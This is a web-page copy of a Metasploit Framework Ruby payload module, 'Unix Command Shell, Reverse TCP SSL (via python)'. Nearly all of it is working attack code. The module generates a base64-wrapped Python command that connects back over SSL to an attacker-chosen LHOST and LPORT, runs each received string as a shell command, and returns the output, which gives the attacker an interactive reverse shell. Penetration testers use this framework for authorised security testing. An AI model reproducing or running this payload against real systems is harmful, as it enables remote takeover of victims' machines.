CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb
Views: 11777
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
module MetasploitModule
8
9
CachedSize = :dynamic
10
11
include Msf::Payload::Single
12
include Msf::Payload::Python
13
include Msf::Sessions::CommandShellOptions
14
15
def initialize(info = {})
16
super(merge_info(info,
17
'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)',
18
'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.',
19
'Author' => 'RageLtMan <rageltman[at]sempervictus>',
20
'License' => BSD_LICENSE,
21
'Platform' => 'unix',
22
'Arch' => ARCH_CMD,
23
'Handler' => Msf::Handler::ReverseTcpSsl,
24
'Session' => Msf::Sessions::CommandShell,
25
'PayloadType' => 'cmd',
26
'RequiredCmd' => 'python',
27
'Payload' =>
28
{
29
'Offsets' => { },
30
'Payload' => ''
31
}
32
))
33
register_advanced_options(
34
[
35
OptString.new('PythonPath', [true, 'The path to the Python executable', 'python'])
36
]
37
)
38
end
39
40
#
41
# Constructs the payload
42
#
43
def generate(_opts = {})
44
vprint_good(command_string)
45
return super + command_string
46
end
47
48
#
49
# Returns the command string to use for execution
50
#
51
def command_string
52
cmd = ''
53
dead = Rex::Text.rand_text_alpha(2)
54
# Set up the socket
55
cmd += "import socket,subprocess,os,ssl\n"
56
cmd += "so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n"
57
cmd += "so.connect(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n"
58
cmd += "s=ssl.wrap_socket(so)\n"
59
# The actual IO
60
cmd += "#{dead}=False\n"
61
cmd += "while not #{dead}:\n"
62
cmd += "\tdata=s.recv(1024)\n"
63
cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n"
64
cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n"
65
cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n"
66
cmd += "\ts.send(stdout_value)\n"
67
"#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\""
68
end
69
end
70
71